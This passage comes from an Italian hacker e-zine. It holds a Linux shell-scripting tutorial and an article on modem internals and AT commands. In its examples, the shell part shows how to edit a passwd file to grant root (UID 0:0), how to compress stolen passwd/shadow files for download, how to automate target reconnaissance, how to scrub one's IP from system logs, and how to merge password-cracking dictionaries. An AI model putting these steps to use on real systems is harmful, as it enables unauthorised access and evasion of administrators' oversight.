tcsh.txt Infine li facciamo leggere uno alla volta e portiamo l'output in un singolo file: cat bash.txt >> shell.txt cat ksh.txt >> shell.txt cat tcsh.txt >> shell.txt In questo caso otterremo che le liste degli utenti risulteranno divise a seconda della shell usata in quanto abbiamo prima aggiunto gli utenti bash, poi appeso il file con gli utenti ksh e infine il file con gli utenti tcsh. Logicamente se si sà esattamente cosa si vuole ottenere si può abbreviare lo script semplicemente utilizzando una stringa del tipo: grep bash passwd | sort >> shell.txt Facendo ancora una volta un sort shell.txt > shell.txt otterremo invece il file con i nomi ordinati secondo l'elenco alfabetico. Ora nel file shell.txt avremo tutti gli account che permettono l'accesso ad una shell fra quelle elencate. Un semplice wc -l ci darà il numero di righe del file e quindi il numero di account validi. Il carattere >> serve appunto a redirigere l'output del comando su un file, aggiungendolo al file senza modificarlo. Gli altri caratteri di redirezione dell'output sono "|" che permette di redirigere l'output verso un nuovo comando,ottenendo così un pipe,e il ">" che redirige l'output su un file sovrascrivendo però il contenuto originario del file. Nel caso in cui noi si voglia far girare il processo in maniera invisibile rispetto allo schermo su cui lavoreremo,aggiungeremo un piccolo "&" a fine della riga di comando. Questo ci farà apparire il numero assegnato al processo,che inizierà a girare in background (cioè nascosto) e che ci apparirà con tale numero nella lista ottenuta con il comando "ps".Così invece di avere lo schermo in sospeso fino alla fine dell'esecuzione del comando,ci verrà restituito immediatamente il prompt, permettendoci di lavorare ad altri programmi senza interferire con quello che stà girando in background. Per interrompere il programma,nel caso si sia bloccato o stia impiegando troppo tempo,si può usare il comando kill numeroprocesso nel caso che all'output del comando ps il processo non intenda chiudersi,possiamo usare il comando kill -9 numeroprocesso che nel 99% dei casi arresta definitivamente il processo (può capitare che compaia la parola "zombie" a fianco del processo. Questo è il caso in cui il processo non si riesce ad eliminare e quindi rimane visibile,pur non utilizzando alcuna risorsa di sistema). Invece il simbolo ";" ci consentirà di dividere i comandi scritti su un unica riga e di eseguirli in successione (comando1 ; comando2 ; comando3). Un ultimo simbolo interessante è l'accento grave che nella tastiera italiana di Linux si ottiene con AltGr+?. Viene usato per delimitare un comando all'interno di una stringa di comandi,il cui risultato viene poi utilizzato dalla stringa stessa. Per esempio se noi volessimo far girare un applicazione che oltre a determinati output ci mostri anche la data del giorno,possiamo settare un comando del tipo: echo `date` e l'output sarà appunto la data odierna. Se invece avessimo scritto echo date l'output sarebbe stato appunto la parola "date". Proseguiamo quindi con una panoramica sui comandi più semplici della shell. Tenete presente che tutti i comandi che voi utilizzate normalmente per muovervi nella shell, possono essere usati in uno script per Linux, quindi i vari: rm (per cancellare file), rmdir (per cancellare dir vuote), pwd (per sapere in che dir ci si trova), cd (per cambiare dir), mkdir (per creare una dir), ls oppure ls -l oppure dir (per elencare il conenuto della dir), cp per copiare dir e file. Per una dettagliata descrizione dei comandi di base è consigliato l'utilizzo del comando man attraverso la sintassi: man nomecomando Pur essendo spiegazioni in inglese non sono esageratamente complesse e mostrano abbastanza chiaramente tutte le opzioni disponibili per il comando. Se il man del comando non risulta disponibile si può provare digitando nomecomando --help Solitamente si ottiene una lista delle opzioni accettate dal comando (senza però la spiegazione diretta dell'uso di ogni opzione). [head filename] permette di leggere le righe iniziali del file. [tail filename] permette di leggere le righe finali del file. Risulta comodo in sessioni telnet per visualizzare l'aggiornamento di alcuni file log senza dover visualizzare tutto il file di log attraverso cat o less. [less filename] legge tutto il contenuto del file e lo mostra sullo schermo. Risulta più utile rispetto a cat con file lunghi in quanto interrompe lo scrolling dello schermo dopo la prima schermata e permette di gestire lo scrolling con i tasti del cursore,mentre cat tende mostrare il file senza soluzione di continuità. Lo potremmo emulare usando un cat filename | more. [find -name nomefile] cerca un file di nome "nomefile" partendo dalla dir corrente estendendosi a tutte le sottodir. Si tenga presente che Linux è sia case-sensitive,quindi è sensibile all'uso del caps (index è un file,Index un file diverso e inDex un altro file ancora, e tutti e tre possono trovarsi nella stessa dir senza creare problemi) sia che accetta l'uso di caratteri jolly come *. Questo vuol dire che se noi faremo la ricerca del file passwd attraverso un: find -name passwd otterremo il file passwd e basta. Se modifichiamo la ricerca come: find -name passwd* avremo che la ricerca si estenderà anche ai file passwd.old,passwd.backup, passwdold e in ogni caso qualsiasi file il cui nome inizi per passwd e prosegua in qualsiasi altro modo. Idem se vogliamo trovare sul nostro sistema file tmp che desideriamo eliminare. Basterà fare un: find -name *tmp oppure un find -name *tmp* facendo attenzione a non cancellare anche un file di nome intrusion.attmp oppure httpmp3.htm che poteva trovarsi nel nostro sistema e che conteneva dati importanti. [ Scripting ] Certamente non è possibile pensare a costruire uno script automatizzato che non ci consenta di interagire nel mezzo dell'esecuzione e che ci constringa ogni volta a modificare tutto il listato per adattarlo alle nostre esigenze. Quindi quello che ci serve è la possibilità di ottenere nello script un prompt in cui inserire valori al fine di modificare una variabile interna dello script.In parole povere una pausa che ci permetta di inserire dati da far elaborare allo script. [read nome] legge l'input dato da tastiera e lo assegna alla variabile nome es: echo "immetti una parola" read input echo $input queste tre righe eseguono una richiesta di input da tastiera e la stessa cosa che viene digitata dalla tastiera la riscrivono sullo schermo. Se vogliamo provarlo da shell senza editare uno script potremo digitare questo: echo "immetti una parola" ; read input ; echo $input Quindi input è la nostra variabile,ma questa poteva chiamarsi tranquillamente pippo o nome,bastava poi che l'utilizzo in seguito fosse stato fatto sulla variabile $pippo o $nome. [select] questo comando,disponibile solo nelle shell Bash e Ksh,permette di creare menù numerati con scelte basate sul numero immesso. L'utilizzo tipico del comando è questo: echo "messaggio in entrata del menù" select nomevariabile in "voce1" "voce2" "voce3" "voce4" do echo" hai scelto la $nomevariabile" case $REPLY in 1) echo "voce1 è il seguente script" ; script1 ; exit ;; 2) echo "voce2 è lo script2" ; script2 ; exit ;; 3) echo "voce3 esegue lo script3" ; script3 ; exit ;; 4) echo "voce4 è questo script" ; script4 ; exit ;; esac done il comando introduce le varie voci nella stringa "select nomevariabile in". A queste voci corrisponde un numero progressivo che sarà poi il riferimento per il comando da eseguire. Non è indispensabile mettere la voce exit alla fine. Infatti tale voce chiude lo script e restituisce la shell. Se invece desideriamo continuare lo script con altri comandi dovremo eliminarlo. A questo punto abbiamo l'interattività con l'utente atraverso questi due comandie la possibilità di dialogarci attraverso il comando echo. Quindi attraverso un dialogo mirato potremo far compiere al nostro script una serie di operazioni automatizzate. E' possibile che al prompt una persona non digiti assolutamente nulla e prema semplicemente "invio" Per fare in modo che lo script si esegua solo quando l'utente ha immesso qualcosa da tastiera, si può usare un piccolo if-then-else: if [ $# -eq 0 ] then echo "Digita qualcosa" read input else filename=$1 fi Questo script attende che la variabile immessa non sia nulla. Nel caso questa sia nulla lo script riformula la richiesta e resta in attesa. Ogni comando presente in /usr/bin e in genere in tutto il sistema a cui abbiamo accesso è utilizzabile in uno script,anche i comandi ping,finger o qualche portscan che abbiamo compilato personalmente. [sed] sed è uno streaming editor e ha un comportamento molto particolare che lo rende utile all'interno di script.Infatti lavora attraverso stringa di comando e non attraverso uno schermo interattivo come vi o emacs. In pratica sciegliendo accuratamente i comandi da inserire,attraverso la sintassi sed opzioni nomefile abbiamo la possibilità di modificare il contenuto di un file senza doverlo prima aprire sullo schermo. Bisogna fare molta attenzione in quanto sed !! NON MODIFICA IL FILE D'ORIGINE !!. In effetti il tentativo di sovrascrivere il file d'origine anche solo attraverso uno script del tipo sed opzioni nomefile > nomefile comporta il completo cancellamento del contenuto del file. La sintassi e l'utilizzo di sed lo si può illustrare attraverso qualche esempio pratico. Sostituzione di una stringa con un'altra: sed 's/stringa1/stringa2/g' nomefile Questo comando sostituisce tutte le parole stringa1 con la parola stringa2 all'interno del file nomefile. Si possono moficare anche più file aggiungendo in coda altri nomi di file (nomefile nomefile1 nomefile2...) Per cancellare alcune precise righe all'interno di un file: sed '1,5 d' nomefile questo cancellerà le righe dalla numero 1 alla numero 5. Per sostituire invece delle stringhe solo nelle prime 5 righe del file si utilizzerà: sed '1,5 s/stringa1/stringa2/g' nomefile Per salvare il tutto in un file si può utilizzare il carattere > come solito: sed 's/stringa1/stringa2/g' passwd > passwd2 oppure se si vuole salvare solo la stringa modificata si può utilizzare l'opzione w di sed in questo modo: sed 's/stringa1/stringa2/gw nuovofile' nomefile in questo modo sed salverà solo la stringa modificata nel file nuovofile. Quindi questo potrebbe risultarci particolarmente utile,diciamo per cambiare al volo i permessi di un utente in un file passwd. Mettiamo che abbiamo un account di basso livello e gli vogliamo concedere il livello di root. Basterà digitare: sed 's/XXX:XXX/0:0/g' passwd > passwd2 dove XXX:XXX sono i due numeri che contraddistinguono il nostro livello in un file passwd comune. A questo punto avremo che il file passwd2 sarà quello che ci interessa...rinominiamolo come passwd ed ecco che ci saremo concessi pieni poteri sulla macchina. [Esempi] 1) Abbiamo un file di passwd o shadow molto grande, abbiamo una dannata fretta di scaricarlo. grep bash passwd > prova ; grep csh passwd >> prova ; grep tcsh passwd >> prova ; zip prova.zip prova ed avremo un file molto più piccolo con solo le shell utili (e di nome prova.zip e non passwd !). 2) Per ottenere info su un sito in maniera automatica e senza dover editare ogni volta lo script. echo "IP Number?" ; read ip ; ping -c 5 $ip > output ; finger @$ip >> output ; portscan $ip >> output & Lo script girerà in automatico e grazie alla & finale non dovrete neanche impegnare la console...il programma si fermerà finito il suo compito e ve lo segnalerà automaticamente (usate l'opzione -c nel ping altrimenti quello tira dritto...). Il risultato sarà scritto nel fine output. 3) Vogliamo sapere se i nostri tentativi sono stati loggati dal server e a quale livello (previo acceso root!) Ed eventualmente cancellarli. cd /usr/var/log grep mioip messages sed 's/mioip/admindelcazzo/g' messages > messagesA ; mv -f messagesA messages (eliminiamo pure le tracce degli ip) grep miohost messages sed 's/miohost/admincoglione/g' messages > messagesB ; mv -f messagesB messages (non dimenticarsi gli host) Certo esistono programmi che fanno tutto ciò in maniera più veloce ed efficiente....ma a volte avere programmi dei quali si conosce il funzionamento è meglio (e cercate di non mettere admindelcazzo nello script,altrimenti l'ip non sarà visibile...ma all'admin ci potete giurare che gli gireranno le balle =). La shell è molto utile se dobbiamo lavorare con i cosiddetti "file dizionario" costruiti per i decifratori di password. Quante volte vi siete trovati 4 o 5 dizionari diversi e avreste voluto compattarli in un unico dizionario,eliminando doppioni vari. Ebbene..per compattare due file dizionario (dizionario1 e dizionario2) basta fare un bel: cat dizionario1 >> dizionario2 per togliere le voci doppie basterà dare un: sort dizionario2 | uniq > nuovodizionario ed otterremo che il nuovodizionario ha tutte le entry dei due precedenti senza nessuna ripetizione. Attraverso questi comandi è possibile gestire file dizionario davvero molto grandi (a me personalmente è capitato un file da 250M,rivelatosi poi un impietosa bufala...). Per finire tutta stà brodaglia di roba,allego uno script che ho fatto per prova mentre studiavo la shell,e che dovrebbe (in teoria) facilitare l'uso di PGP sotto Linux: echo "Script di cript/decript per PGP-Linux" echo "Seleziona il tipo di procedura" select opzione in "Criptare" "Criptare e firmare" "Firmare solamente" "Decriptare e verificare" "Listare le keys" "Aggiungere una key" "Uscire" do case $REPLY in 1) echo "Cripto"; echo "Listo le keys (default) o cripto (c) ?" read list while [ "$list" != c ] do echo " " pgpk -l | grep uid | sort | more echo " " break done echo "Inserisci la mail del destinatario" read mail echo "Inserisci il nome del file" read file pgpe -r $mail -t $file ;; 2) echo "Cripto e firmo" echo "Devi immettere la mail del destinatario" echo "Listo le keys (default) o cripto (c) ?" read list while [ "$list" != c ] do echo " " pgpk -l | grep uid | sort | more echo " " break done echo "Inserisci la mail del destinatario" read mail echo "Inserisci il nome del file" read file pgpe -r $mail -sat $file ;; 3) echo "Firmo il file" echo "Devi immettere la mail del destinatario" echo "Listo le keys (default) o firmo (f) ?" read list while [ "$list" != f ] do echo " " pgpk -l | grep uid | sort | more echo " " break done echo "Inserisci la mail del destinatario" read mail echo "Inserisci il nome del file" read file pgps -u $mail -at $file ;; 4) echo "Decripto e verifico" echo "Immetti il nome del file da decriptare" echo "Listo i file .asc della directory corrente? (s/n)" read list while [ "$list" != n ] do echo " " ls *.asc | sort break done echo "Immetti il nome del file da decriptare" read file pgpv $file ;; 5) echo "Listo le keys" echo " " pgpk -l | grep uid | sort | more echo " " ;; 6) echo "Aggiungo una key" echo "Inserisci il nome del file contenente la key" read keyfile pgpk -a $keyfile echo "Key inserita";; 7) exit;; esac done Come script è una cazzatina...ma torna utile. Per richiamarlo basta creare due righe in usr/bin del tipo: #!/bin/bash ~/.pgp/pgpscript nominandole come si preferisce e rendendole eseguibili (chmod u+x). In pratica ricevuto il messaggio (mettiamo per lettera...) provvederemo a salvarlo e pulirlo velocemente con un editor e utilizzeremo lo script per decriptarlo. Invece per criptare un messaggio basterà scriverlo,criptarlo con lo script e inviarlo come attachment via mail, irc, ftp o qualsiasi modo si voglia. Beh questo è tutto per ora...i comandi di shell sono davvero tantissimi,e considerando che ognuno ha delle opzioni che possono modificarne il comportamento, il risultato finale non può essere che "provare" e RTFM. SirPsychoSexy _#_ Modem, che fai? --------------- By RigoR MorteM SPP Member & Webmaster Beh,non ve lo siete mai chiesto anke voi? La classica domanda 'Ma cosa sono quelle lucine colorate?' non vi e' mai passata per la testa? Beh,se la risposta e'no,leggete che ve lo spiego , se la rispsta e' si velo spiego pure a voi! Come il mio precedente articolo,e' molto meglio che leggiate questo testo con il classico type o con l'edit da dos dato che ci sono molti ascii (ci sto prendendo gusto) oppure usate una cosa del tipo GetDiz o GetNfo per leggero in ambiente win. Pero' prima vi spiego la teoria di funzionamento del magico scatolotto che ha notevolmente alleggerito il portafoglio di molti e che ha portato notevoli scompensi nella vita del sottoscritto. Consumo: nulla, ho appena finito di mangiare Musica ascoltata: Metallica-And Justice for All Nuclear Assault-Game Over Iron Maiden-A real Dead One Detestor-In the circle of time Ok, si inizia , Nob0dy88, questo e' per te. Si ringrazia Pc Upgrade per avermi fatto rispolverare dei vecchi manuali e per le loro tabelle dei registri. Il modem,se esterno,comunica con la porta seriale del pc (rs232) e con la linea telefonica consentendo lo scambio di dati, ma questo e' lapalissiano.Cosa meno lapalissiana invece e' capire come fa in pratica a compiere questa magia... Primo skemino : porta seriale linea telefonica                 +----------------+ +----------------+ | convertitore | | interfaccia | | TTL/RS232 | |linea telefonica| +----------------+ +----------------+  |   | |   |  +-------------------+ +----------++------------+ |tx| rx|rom|ram|ctrl| |modulatore||demodulatore| |rx| tx| | | | +----------++------------+ +-------------------+  |  | | +---------+ | +----------------------------+ E fino a qui non penso che sorgano problemi;logicamente il componente siglato CTRL e' la logica di controllo del modem... Il convertitore TTL/RS232 serve a trasformare i bit trasmessi dalla porta seriale in impulsi di frequenza che possono essere inviati sulla normale linea telefonica.Il motivo della conversione e' molto semplice: i segnali che vengono inviati dal pc al modem sono in forma binaria , ovvero hanno valore 0 associato alla tensione di 0volts e di valore 1 associato a 5volts.Il circuito TTL/RS232 li trasforma in 2 tensioni distinte, una positiva ed una negativa.Successivamente vengono convertiti da segnali RS232 a segnali di frequenza e modulati. Magari non e' molto chiaro, quindi beccatevi il secondo schemino ;-] +-----------+ |modulazione| +------------------+ +------------------+ |01110101-binario/TTL-TTL/RS232-RS232/frequenza| +-------------------------------------------------+ +-------------+ |demodulazione| +-----------------+ +-----------------+ |frequenza/RS232-RS232/TTL-TTL/binario-01110101| +-------------------------------------------------+ Ok,adesso la teoria di base del funzionamento del modem la avete per lo meno vista,non dico capita ;-] Adesso , sotto con un'altro skema che vi spiega i segnali della seriale che servono al modem ,e dato che io non so se avete il modem sulla com1 (a 9 poli) o sulla com2 (a 25 poli) ve li ho messi entrambi. Ah,tanto per intendersi,sono le famose lucine che lampeggiano come un'albero di Natale quando navigate .... +------------------------------------------+ |9poli|25poli|Segnale| Funzione | +-----+------+-------+---------------------| | 1 | 8 | DCD | Data Carrier Detect | +-----+------+-------+---------------------| | 2 | 3 | RX | Ricezione | +-----+------+-------+---------------------| | 3 | 2 | TX | Trasmissione | +-----+------+-------+---------------------| | 4 | 20 | DTR | Data Terminal Ready | +-----+------+-------+---------------------| | 5 | 7 | GND | Massa | +-----+------+-------+---------------------| | 6 | 6 | DSR | Data Set Ready | +-----+------+-------+---------------------| | 7 | 4 | RTS | Request To Send | +-----+------+-------+---------------------| | 8 | 5 | CTS | Clear To Send | +-----+------+-------+---------------------| | 9 | 22 | RI | Ring Indicator | +------------------------------------------+ Piccola notizia: nei modem (modelli piu' accessoriati o industriali) c'e' un'isolatore galvanico. Che ca**o sara' mai? Beh, diciamo che permette il perfetto isolamento fra la linea telefonica e il modem stesso.Serve per non far entrare in contatto il segnale di massa del modem con quello della lonea,che altrimenti diverrebbe inutilizzabile.Oltre a questo simpatico compito,si occupa anche della rilevazione dello squillo che e' necessaria alla attivazione dell'eventuale segreteria telefonica o all'accensione del pc. Per ultima cosa si occupa di smistare i segnali in entrata e quelli in uscita.Non male,vero? Ma a parte queste piccole notizie , vi siete mai chiesti come si calcola davvero la velocita' del modem? Insomma, perche' un modem ha un baud rate di 14.400 baud ed un'altro di 33.600 baud? Eccovi la semplice spiegazione (che poi semplice non e',ma fa lo stesso) La sezione di modulazione e quella di demodulazione di un modem si occupano,come ho gia' detto,di convertire i segnali da e per la linea telefonica,quindi ogni bit deve essere convertito e piu' veloce sara' la conversione,piu' altro sara' il baud rate.Piccolo esempio pratico: se un bit viene convertito in X tempo il baud rate sara' di X/K.Ancora non vi e' chiaro, eh? Ok, allora sieghiamoci meglio... Se un modem converte un bit in 52 microsecondi che equivalogono a 0,000052 secondi il baud rate sara' 1/0,000052 che risulta 19230,76923077 ovvero 19.200 baud circa. Tenete sempre presente comunque che il modem si connette ad una velocita' di Y baud ma non e' detto che sia effettivamente la velocita' con la quale ricevete voi i dati sul pc,proprio perche' oltre che a ricevere i dati dalla linea telefono deve anche inoltrarli alla sariale,quindi se avete una seriale lenta ed un modem veloce non noterete enormi differenze usando un 14.400 al posto del vostro nuovissimo v.90,okkio quindi alla motherboard! Spero adesso di essere stato chiaro! Se cosi' non fosse, beh, cari miei,arrangiatevi o scrivetemi, tanto il mio indirizzo e' alla fine di questo articoletto ;-] Bene, fino a qui ci siamo arrivati,vediamo adesso una delle cose piu' oscure del modem,ovvero le stringhe AT, e qui iniziano i casini ehehehheeh Se non avete voglia di leggere tutto cio'andate fino alla riga contraddistinta da +-+-+-+ Dovete sapere che il modem dispone di due modalita' di lavoro definite DATI e COMANDI. Nel primo modo il modem non fa altro che passare i dati che gli inviamo alla linea telefonica e viceversa,mentre il secondo modo non necessita di linea telefonica dato che riceve segnali solo ed esclusivamte dalla porta seriale. Questa modalita' e' di default quando si accende il modem ed e' in questa modalita' che vengono ricevute dal pc le famose stringhe AT ovvero stringhe di comandi.Spesso ogni provider da assieme alla sua clientela una stringa at che serve a 'limitare' la velocita' del modem (se e' un modello 56.000) a 33.600 per non far cadere la linea oppure con un'impostazione particolare per accedere al suo servizio.Le stringhe AT vengono conservate nella RAM del modem e vengono usate fino a che non viene inviata una seconda stringa. Le operazioni possibili tramite stringhe AT sono le seguenti: velocita' in baud numerpo bit per dato presenza del bit di parita' tipo di parita' del bit numero bit di stop presenza controlo di flusso software presenza controlo di flusso hardware Non poche opzioni,vero? Beh,adesso vi spiego cosa sono e come usarle,cosi' potete spippolare in pace! Prima di spippolare pero' e' meglio che sappiate come sono strutturate le stringhe,quindi vi dovete leggere un'altro skemino! +-----------------+ |AT|C1|C2|C3|CR|LF| +-----------------+ Ok,adesso la logica di base! Ogni stringa DEVE iniziare con il comando AT seguito da quanti comandi vogliate e va terminata SEMPRE con CR e LF che altro non sono che il banale Enter.I valori ascii di CR e LF sono i seguenti : CR (carriage return) = 0x13 LF (line feed) = 0x10 Il minimo di caratteri per una stringa e' di 10 ed il massimo e' di 256 escluso AT.Se mandate una stringa AT il modem la riceve,la esegue e torna in modalita' comandi,se invece nella stringa specificate che deve essere composto un numero il modem lo fa e si mette in modalita' DATI.Per terminare la sessione DATI e tornare in modo COMANDI deve essere inviata una stringa di ESCAPE ovvero di chiusura che solitamente e' +++ ma la potete modificare voi come piu' vi pare,dopo vi spiego anke come,preparatevi alla mega tabella!Adesso che + o - avete capito qualcosina sui modem e sulle stringhe AT vi spiego i comandi. -*- Bn Specifica che protocollo di trasmissione usare. La lettera 'n' deve essere un valore compreso tra 0 ed 1. Al valore 0 il modem usara' il protocollo CCITT V.22 a 1.200 baud oppure il CCITT V.21 a 300 baud. Al valore 1 il modem usara' il protocollo BELL 212A a 1.200 baud oppure il BELL 103J a 300 baud. -*- DnX Serve per formare un numero telefonico. Il valore 'n' e' il numero di telefono da comporre mentre X sono le specifiche della connessione. I valori di X servono ad impostare un sacco di cose,vediamo! il metodo di chiamata: P per composizione ad impulsi e T per il modo multifrequenza. richiamare l'ultimo numero composto: la lettera e' L richiamare un numero in memoria: S=n (leggete bene alla fine della descrizione dei comandi) sconnettere la linea per 500millisecondi: ! (funzione di hook-flash cioe' aggancio rapido) mettere in pausa la connessione dopo un certo periodo di tempo: , tornare in modalita' COMANDI: ; -*- En Abilita o disabilita l'eco del carattere. Anche in questo caso 'n' e' un valore compreso fra 0 ed 1 dove n=1 eco abilitato invece se n=0 eco disabilitato. -*- Hn (hook switch control) Connette o disconnette dalla linea telefonica. Anche in questo caso 'n' e' un valore compreso fra 0 ed 1 dove n=1 connesso invece se n=0 disconnesso. -*- In Identificazione del modem. Tanto per cambiare 'n' e' un valore ma stavolta e' compreso tra 0 e 6. Via, altra tabella.... +--------------------------------+ |0| codice del prodotto | +-+------------------------------| |1| checksum del firmware | +-+------------------------------| |2|verifica checksum del firmware| +-+------------------------------| |3| versione del firmware | +-+------------------------------| |4| stringa identificativa | +-+------------------------------| |5| codice del paese | +-+------------------------------| |6| revisione del modem | +--------------------------------+ Questo e' cio' che mi dice il mio modem Motorola VoiceSurfr k56 : ati1 057 OK ati2 OK ati3 V1.009-K56_DLS OK ati4 Motorola VoiceSURFR 56K External OK ati5 022 OK ati6 RCV56DPF L8570A Rev 30.1/30.1 OK -*- Ln Regola il volume dell'altoparlante del modem. Qui facciamo ancora un'eccezione: sebbene 'n' sia sempre una variabile e'compresa tra 0 e 3. Altra tabella,che ci sto prendendo la mano ;-] +---------------------+ |L=0|volume bassissimo| +---+-----------------| |L=1|volume basso | +---+-----------------| |L=2|volume medio | +---+-----------------| |L=3|volume alto | +---------------------+ -*- Mn Attiva o disattiva l'altoparlante. Ancora un'eccezione: sebbene 'n' sia sempre una variabile e'compresa tra 0 e 3. Altra tabella hihihih. +--------------------------------------------------+ |n=0|altoparlante sempre muto | +---+----------------------------------------------| |n=1|funziona fino al riconoscimento della portante| +---+----------------------------------------------| |n=2|sempre attivo | +---+----------------------------------------------| |n=3|attivo dopo la composizione fino alla portante| +--------------------------------------------------+ La portante non e' altro che la risposta dell'altro modem,detta anke handshake. -*- O Esce dalla modalita' COMANDI e si setta in DATI. -*- P Compone il numero in modo impulsi. -*- Qn Abilita o disabilita la risposta del modem. Come al solito 'n' e' variabile fra 0 ed 1 e se n=0 abilitato ed n=1 disabilitato. -*- Sn=v Scrive un valore nel registro del modem. Qui le variabili sono ben due lettere, la classica 'n' e la 'v'. 'n' e' un valore di registro del modem (tabella alla fine,vi risparmio!) 'v' e' invece un numero compreso tra 0 e 255 -*- Sn:? Legge un registro del modem. Al solito 'n' e' variabile,vedi alla fine al tabella dei registri. -*- T Composizione del numero in multifrequenza detta anche DTMF. -*- Vn Risposte brevi o lunghe attivate o disattivate. Come sempre 'n' e' variabile che se impostata a 0 permette le risposte numeriche del modem mentre se messa a 1 abilita le risposte testuali.Va usato dopo Qn. -*- Xn Gestisce le risposte del modem e il rilevamento del segnale di linea. Altra tabella che magatri vi chiarisce il tutto ;-) +-----------------------+ |Xn|Risposta|Rdial|Roccu| Rdial = rilevazione dial-tone +--+--------+-----+-----| Roccu = rilevazione occupato |X0| dis | dis | dis | dis = disabilitato +--+--------+-----+-----| ab = abilitato |X1| ab | dis | dis | +--+--------+-----+-----| |X2| ab | ab | dis | +--+--------+-----+-----| |X3| ab | dis | ab | +--+--------+-----+-----| |X4| ab | ab | ab | +-----------------------+ -*- Yn Disconnessione long space. Anche qui 'n' e' variabile e se con valore 1 abilita la disconnessione, se a valore 0 la disabilita. -*- Zn Resetta il modem. Piccola anomalia: 'n' puo' essere 1 oppure 0 ma ottiene lo stesso effetto:resetta il modem. Pero' la differenza c'e',attenzione! Se 'n' e' 0 dopo il reset il modem caricherà il profilo utente numero 0,se invece 'n' e' 1 il profilo caricato sara',guardacaso,il numero 1. -*- &Cn Gestisce il DCD (detto anche CD). Ha due valori di 'n' ovvero 0 ed 1. Se 'n' e' pari a 0 il DCD e' sempre ON, se invece e' settato a 1 il DCD e' ON solo quando viene rilevata la portante della linea,e ritorna ad OFF quando non c'e' piu' portante. -*- &Dn Gestisce il DTR (detto anche TR). Il parametro 'n' ha valori compresi tra 0 e 3 e si comporta nel seguente modo: n=0 : ignora DTR n=1 : se il DTR diventa inattivo il modem va in modo COMANDI invia un OK e resta in connesione n=2 : se il DTR diventa inattivo si disconnette e se in modo autorisposta non risponde n=3 : se il DTR diventa inattivo si disconnette,si autoresetta e carica il profilo Z0 -*- &F Resetta i valori di default del modem -*- &Kn Gestisce il controllo di flusso. Il parametro 'n' ha i seguenti valori e compie le seguenti azioni: n=0 : controllo flusso disabilitato n=3 : controllo hardware RTS/CTS abilitato n=4 : controllo software XON/XOFF abilitato n=6 : controlli RTS/CTS e XON/XOFF abilitati -*- &Qn Gestione modalita' operativa. I valori di 'n' sono 3 e si comportano cosi': n=0 : connessione diretta senza conversioni,correzione d'errore e compressione n=5 : correzione automatica di errore attiva n=6 : connessione normale -*- &Sn Gestisce il DSR. In questo caso 'n' ha solo 2 modalita'.Se 'n' e' paria a 0 il DSR resta sempre attivo, se 'n' e' 1 il DSR si attiva quando rileva il modem remoto e si disattiva quando manca la portante. -*- &Tn Comando di test. I parametri in questo caso sono molti, come si puo' vedere: n=0 : termina i test in eseguzione n=1 : test sezione analogica n=3 : test sezione digitale n=4 : abilita il loopback remoto n=5 : disabilita il loopback remoto n=6 : test digitale remoto n=7 : test digitale remoto con self-test n=8 : test analogico con self test -*- &V Mostra i profili di configurazione del modem.(vedi Zn,&Dn,&Wn,&Yn) -*- &Wn Memorizza il profilo attivo nella memoria. Il valore 'n' e' compreso tra 0 ed 1 ed indica che profilo si sta memorizzando. Se 'n' e' 0 il profilo si memorizzera' come profilo 0 , se 'n' invece e' 1 il profilo memorizzato sara' il profilo 1. -*- &Yn Seleziona profilo di default. In questo caso 'n' se e' 0 il profilo di default sara' lo 0, se invece 'n' e' 1 il default profile sara' l'1. -*- &Zn=x Memorizza un numero telefonico. Qui ci sono 2 variabili , 'n' e 'x'. La 'n' puo' avere valore 0,1,2,3 ed e' la memoria nella quale 'x' verra' scritto. La 'x' invece e' il numero di telefono da comporre. -*- &Gn Abilita/disabilita il controllo di flusso XON/XOFF. Se 'n' e' 0 il controllo e' disabilitato se e' invece '1' viene abilitato. Relativamente al comando S=n c'e' da dire un paio di cose: il modem puo' generalmente tenere in memoria 4 numeri e il valore 'n' comunica quale di questi 4 numeri usare.Il valore di 'n' e' tra 0 e 3. Invece relativamente al comando di pausa ',' per molti non servira' a nulla ma chi e' dietro un centralino e deve comproe un numero per avere la linea esterna lo usera' di sicuro.Il tempo da far trascorrere e' nel registro S8 del modem.Tranquilli che poi vi spiego! Infatti adesso preparatevi psicologicamente perche' vi sto per far vedere l'incredibile! No, le foto di Master nudo no!!!! Invece la tabella (ehehe,ancora tabella!) di tutti i registri del modem! +-------------------------------------------------------------------+ |Registro| Funzione |Range | Unita' |Mem| Def| +--------+--------------------------------+------+---------+---+----+ | S0 |Squilli per autoanswer |0-255 | squilli |si | 0 | | S1 |Contatore di squilli |0-25 | squilli |no | 0 | | S2 |Carattere ESCAPE |0-255 | ascii |si | 43+| | S3 |Carattere CR |0-127 | ascii |no | 13 | | S4 |Carattere LF |0-127 | ascii |no | 10 | | S5 |Carattere di cancellazione |0-127 | ascii |no | 8 | | S6 |Attesa tono linea |2-255 | 1 sec |si | 2 | | S7 |Attesa portante |1-255 | 1 sec |si | 50 | | S8 |Pausa per composizione |0-255 | 1 sec |si | 2 | | S9 |Riconoscimento portante |1-255 | 0.1 sec |si | 6 | | S10 |Perdita portante |1-255 | 0.1 sec |si | 14 | | S11 |Durata tono DTMF |50-255|0.001 sec|si | 95 | | S12 |Ritardo escape |0-255 |0.02 sec |si | 50 | | S13 |Riservato |------|---------|no |----| | S14 |Bit mappati per E,Q,V,T,P |------|---------|si | 138| | S15 |Riservato |------|---------|no |----| | S16 |Bit mappati per &T |------|---------|no | 0 | | S17 |Riservato |------|---------|no |----| | S18 |Test timer |0-255 | 1 sec |si | 0 | | S19 |Riservato |------|---------|no |----| | S20 |Riservato |------|---------|no |----| | S21 |Bit mappati per &C,&D,&S,Y |------|---------|si | 524| | S22 |Bit mappati per L,M,N |------|---------|si | 117| | S23 |Bit mappati per &T4,&T5 |------|---------|si |6254| | S24 |Timer per sleep |0-255 | 1 sec |si | 0 | | S25 |Ritardo DRT off |0-255 |0.01 sec |no | 5 | | S26 |Ritardo RTS CTS |0-255 |0.01 sec |no | 1 | | S27 |Bit mappati per &Q,B |------|---------|si | 739| | S28 |Riservato |------|---------|no | 0 | | S29 |Tempo FLASH |0-255 |0.001 sec|no | 700| | S30 |Timer disconnessione inattivita'|0.255 | 10 sec |no | 0 | | S31 |Bit mappati per N,W |------|---------|si |1942| | S32 |Carattere XON |0-255 | ascii |no | 17 | | S33 |Carattere XOFF |0-255 | ascii |no | 19 | | S34 |Riservato |------|---------|no |----| | S35 |Riservato |------|---------|no |----| | S37 |Velocita' connessione | * |---------|si | 7 | | S38 |Ritardo disconnessione |0-255 | 1 sec |no | 20 | | S39 |bit mappati per &K |------|---------|si | 3 | | S42 |Riservato |------|---------|no |----| | S45 